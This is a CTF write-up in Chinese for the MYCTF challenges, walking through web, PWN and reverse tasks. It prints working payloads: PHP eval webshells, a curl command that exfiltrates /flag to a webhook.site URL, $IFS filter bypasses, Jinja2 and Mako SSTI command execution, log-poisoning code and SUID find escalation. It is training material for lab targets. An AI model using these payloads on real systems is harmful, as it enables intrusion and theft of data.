MYCTF Writeup 2025.12.13
Author: Asterism
Date: 2025.12.13
📑 目录
Web
adminGame 42pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | adminGame |
| 分值 | 42pts |
| 难度 | 简单 |
| 考点 | 用户枚举、弱密码、前端源码审计 |
题目描述
YUNiversity无聊的时候随手写了一个小学生爱玩的游戏,但是为了防止小学生沉迷其中,他加入了管理员才能访问的防沉迷机制,据说通关就能拿到flag。
解题过程
初始访问
打开实例,发现是一个登录页面:
登录逻辑分析
输入测试账号abc/123,提示"用户名错误",推测后端先检测用户名,再检测密码,存在用户枚举漏洞。用户名爆破
尝试爆破用户名,发现用户名为admin时提示"密码错误",确认admin为正确用户名。密码爆破
使用Burp Suite截获数据包,用Intruder模块爆破,添加字典SecLists-master\Passwords\Common-Credentials\2024-197_most_used_passwords.txt,发现密码为:qwert。登录成功
使用账号:admin,密码:qwert登录,进入飞机大战游戏页面:
源码审计
尝试通关游戏失败,Burp Suite未发现数据包,考虑前端判定。查看页面HTML,发现引入外部JS文件:<script src="game.js"></script>。
分析game.js,发现关键代码:// 检查通关条件(100分弹窗) if (score >= 100) { gameRunning = false; alert("恭喜通关!你的得分:100分!!!!不过真有人老老实实玩游戏啊,你不是黑客吗?"); //防止找不到.ing.......TVlDVEZ7cDE0eV9nNG0zXzFzX3dyMG5nIX0= resetGame(); }Flag获取
发现不寻常的注释内容:TVlDVEZ7cDE0eV9nNG0zXzFzX3dyMG5nIX0=
用Base64解码得到flag。
Flag
MYCTF{p14y_g4m3_1s_wr0ng!}
知识点
- 用户枚举漏洞
- 弱密码爆破
- 前端源码审计
- Base64解码
ezzzzrce 157pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | ezzzzrce |
| 分值 | 157pts |
| 难度 | 简单 |
| 考点 | RCE绕过、命令过滤绕过 |
解题过程
初始测试
打开实例,发现一个输入框:
RCE验证
输入whoami,返回root,确认存在RCE漏洞且权限很高。命令过滤发现
尝试使用ls和cat命令,发现过滤了ls、cat、空格、flag等关键词。绕过方法
- 空格用
$IFS代替 - 使用
find$IFS/命令发现flag文件位置:/flag - 用
more命令和通配符*绕过:more$IFS/fla*
- 空格用
Flag
MYctf{We1come_t0_bri9htM0on}
知识点
- RCE漏洞利用
- 命令过滤绕过($IFS代替空格,通配符绕过关键词)
- find命令文件搜索
ezrce 330pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | ezrce |
| 分值 | 330pts |
| 难度 | 中等 |
| 考点 | 无回显RCE、DNSLog外带数据 |
解题过程
无回显发现
网站提示:“Your command has been submitted. Results are not returned.”DNSLog外带
使用Webhook.site作为接收端:https://webhook.site/fce7c0ec-ee24-4acb-987c-fdc568a449f3命令测试
测试curl命令可达性:curl${IFS}https://webhook.site/fce7c0ec-ee24-4acb-987c-fdc568a449f3数据外带
读取flag并外带:curl${IFS}-G${IFS}https://webhook.site/fce7c0ec-ee24-4acb-987c-fdc568a449f3${IFS}--data-urlencode${IFS}"f@/flag"Flag提取
Webhook记录显示:MYctf%7bwh0_p0st3d_th3_b1g_bump%7d%0a
URL解码得到flag。
Flag
MYctf{wh0_p0st3d_th3_b1g_bump}
知识点
- 无回显RCE利用
- DNSLog数据外带
- curl命令使用技巧
- URL编码/解码
babyupload 250pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | babyupload |
| 分值 | 250pts |
| 难度 | 中等 |
| 考点 | 文件上传、SUID提权 |
解题过程
文件上传测试
上传PHP一句话木马:<?php @eval($_POST['cmd']); ?>蚁剑连接
访问/uploads/payload.php,使用蚁剑连接,打开虚拟终端。权限不足
发现www-data权限无法读取/flag文件。SUID提权
查找SUID文件:find / -type f -perm -u=s 2>/dev/null
发现/usr/bin/find有SUID权限。利用find提权
使用命令:find . -exec cat /flag \;
Flag
MYctf{congratulations_you_found_the_hidden_flag}
知识点
- 文件上传漏洞
- SUID提权
- find命令利用
ezupload 456pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | ezupload |
| 分值 | 456pts |
| 难度 | 中等 |
| 考点 | 文件上传绕过、.user.ini利用 |
解题过程
后缀名绕过
尝试多种PHP后缀名和绕过方法,均被拦截。内容过滤发现
修改后缀为txt上传,发现过滤eval和php字段。.user.ini利用
上传.user.ini文件:auto_prepend_file="shell.txt"shell文件上传
上传shell.txt:<?=system('cat /flag');?>访问触发
访问/uploads/目录,自动包含执行。
Flag
MYctf{eval_1s_n0t_0n1y!}
知识点
- 文件上传过滤绕过
- .user.ini文件利用
- PHP短标签使用
hardupload 928pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | hardupload |
| 分值 | 928pts |
| 难度 | 困难 |
| 考点 | 严格过滤绕过、PHP封装协议 |
题目过滤
if (stripos($filename, 'ph') !== false) {
echo "你有点不老实了小子";
exit;
}
$banned_content = ['<?php', '<','<?'];
foreach ($banned_content as $ban) {
if (strpos($file_content, $ban) !== false) {
echo "我总不能让你肆意妄为吧";
exit;
}
}
解题过程
过滤分析
文件名不能包含"ph",内容不能包含<?php、<、<?。PHP封装协议利用
使用.user.ini配合php://filter:auto_append_file="php://filter/read=convert.base64-decode/resource=./payload.txt"Base64编码绕过
上传payload.txt,内容为Base64编码的PHP代码:PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=
解码后为:<?php eval($_POST['cmd']); ?>蚁剑连接
访问/uploads/,用蚁剑连接,找到flag文件。
Flag
MYctf{it-is-so-hard?justsoso}
知识点
- 严格过滤绕过
- PHP封装协议利用
- Base64编码/解码
10G 373pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | 10G |
| 分值 | 373pts |
| 难度 | 中等 |
| 考点 | 文件包含、日志污染 |
题目源码
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
if(isset($a)&&(file_get_contents($a,true))==='I want to be a ctfer!'){
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\\^|\&|\\*|\(|\)|\-|\_|\\+|\=/i",$file)){
die("error");
echo "如果只会远程文件包含的话,我想你还需要再进修一下";
}
echo "不是吧,flag呢?";
include($file);
}
}else{
echo "这都不会吗?不觉得似曾相识?";
}
解题过程
本地文件包含
远程文件包含被禁止,考虑本地文件包含。日志文件包含
包含Apache访问日志:/var/log/apache2/access.log日志污染
在User-Agent中插入PHP代码:<?php system('ls /');?>文件发现
发现文件:/mingyuef14g_5ecr3tFlag读取
修改payload:<?php system('cat /mingyuef14g_5ecr3t');?>
Flag
MYCTF{Include_1s_r3a11y_go0d!}
知识点
- 文件包含漏洞
- 日志污染攻击
- PHP代码注入
1zMd5 189pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | 1zMd5 |
| 分值 | 189pts |
| 难度 | 中等 |
| 考点 | MD5碰撞、弱类型比较、数组绕过 |
题目源码
<?php
$ming = $_GET["ming"];
$yue = $_GET["yue"];
$m = $_POST["m"];
$y = $_POST["y"];
$cmd = $_REQUEST["cmd"];
if(isset($ming) && isset($yue)){
if($ming!==$yue&&md5($ming)===md5($yue)){
if(is_numeric($m)!=is_numeric($y)&&md5($m)==md5($y)){
if(preg_match("/flag/",$cmd)){
echo "往日种种,你当真不记得了?";
exit();
}
eval($cmd);
}else{
echo "?hacker,不过flag呢?";
}
}else{
echo "这都不会吗?回家吧孩子";
}
}else{
highlight_file(__FILE__);
}
?>
解题过程
第一层绕过
ming[]=1和yue[]=2:数组MD5返回NULL,NULL === NULL成立。第二层绕过
m=240610708(MD5: 0e462097431906509019562988736854)y=QNKCDZO(MD5: 0e830400451993494058024219903391)
弱类型比较:0e... == 0e...命令执行
cmd=system("cat /fla*");绕过flag关键词检测。完整请求
POST /?ming[]=1&yue[]=2&cmd=system("cat%20/fla*"); HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: 21 m=240610708&y=QNKCDZO
Flag
MYCTF{1th1nk_md5is_t0o1z}
知识点
- MD5数组绕过
- MD5碰撞(0e开头)
- 弱类型比较
- preg_match绕过
你の名字 155pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | 你の名字 |
| 分值 | 155pts |
| 难度 | 简单 |
| 考点 | SSTI模板注入 |
解题过程
SSTI验证
输入{{7*7}},返回49,确认存在SSTI漏洞。Flask/Jinja2识别
根据环境判断为Flask框架,Jinja2模板引擎。Payload构造
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
Flag
MYCTF{y0ur_n4m3_1s_h4ck3r}
知识点
- SSTI模板注入
- Flask/Jinja2利用
- Python对象链构造
你真正の名字 911pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | 你真正の名字 |
| 分值 | 911pts |
| 难度 | 困难 |
| 考点 | SSTI绕过、长度限制、config利用 |
限制条件
- 不能包含:
{{、}}、_ - 长度不能超过45个字符
解题过程
长度限制绕过
分步执行,使用config存储中间结果。payload分析
{%print(config)%} {%set x=config.update(a=lipsum)%} {%set x=config.update(b=request.args.c)%} {%set x=config.update(d=config.a[config.b])%} {%set x=config.update(e=config.d.os)%} {%set x=config.update(f=config.e.popen)%} {%print(config.f(request.args.g).read())%}其中:
c=__globals__,g=cat /flag分步执行
通过GET参数传递payload,每次执行一步。
Flag
MYCTF{1_r3411y_1k3_c0nf1g}
知识点
- SSTI长度限制绕过
- Flask config对象利用
- 分步执行技巧
ezbottle 911pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | ezbottle |
| 分值 | 911pts |
| 难度 | 困难 |
| 考点 | Mako模板注入、过滤绕过 |
解题过程
模板引擎识别
通过测试确认为Mako模板引擎。初步尝试
使用payload:% assert False, locals()["__builtins__"]["open"]("/flag").read()过滤绕过
- 下划线用
\137替换 "open"用"ope""n"拆分
- 下划线用
最终payload
% assert False, locals()["\137\137builtins\137\137"]["ope""n"]("/flag").read()
Flag
MYctf{a424c177-c5a5-4772-83f4-b5547bd57918}
知识点
- Mako模板注入
- 过滤字符绕过
- assert函数利用
PWN
自我介绍 293pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | 自我介绍 |
| 分值 | 293pts |
| 难度 | 简单 |
| 考点 | 栈溢出、后门函数调用 |
解题过程
程序分析
main函数调用vulnerable_function函数进行输入。漏洞发现
vulnerable_function中,存储输入的数组长度只有64,而输入函数接收128个字符,造成栈溢出。利用尝试
尝试用backdoor函数地址覆盖返回地址,程序崩溃。最终利用
使用_libc_system("/bin/sh")函数地址覆盖返回地址,成功拿到shell。
还想溢出我 517pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | 还想溢出我 |
| 分值 | 517pts |
| 难度 | 中等 |
| 考点 | 栈溢出、ROP链构造 |
解题过程
程序分析
该题为系列题,后门函数已被删除。ROP利用
构造ROP链,调用system函数执行/bin/sh。
The way 161pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | The way |
| 分值 | 161pts |
| 难度 | 简单 |
| 考点 | 迷宫算法、静态分析 |
解题过程
静态分析
在IDA数据段中找到定义迷宫二维数组的数据。迷宫求解
整理迷宫数据,通过算法找到正确路径。
Open onion 293pts
题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | Open onion |
| 分值 | 293pts |
| 难度 | 简单 |
| 考点 | UPX脱壳 |
解题过程
识别加壳
使用file命令识别为UPX加壳程序。脱壳处理
直接使用upx命令脱壳:upx -d pwn_file
Writeup by Asterism - 2025.12.13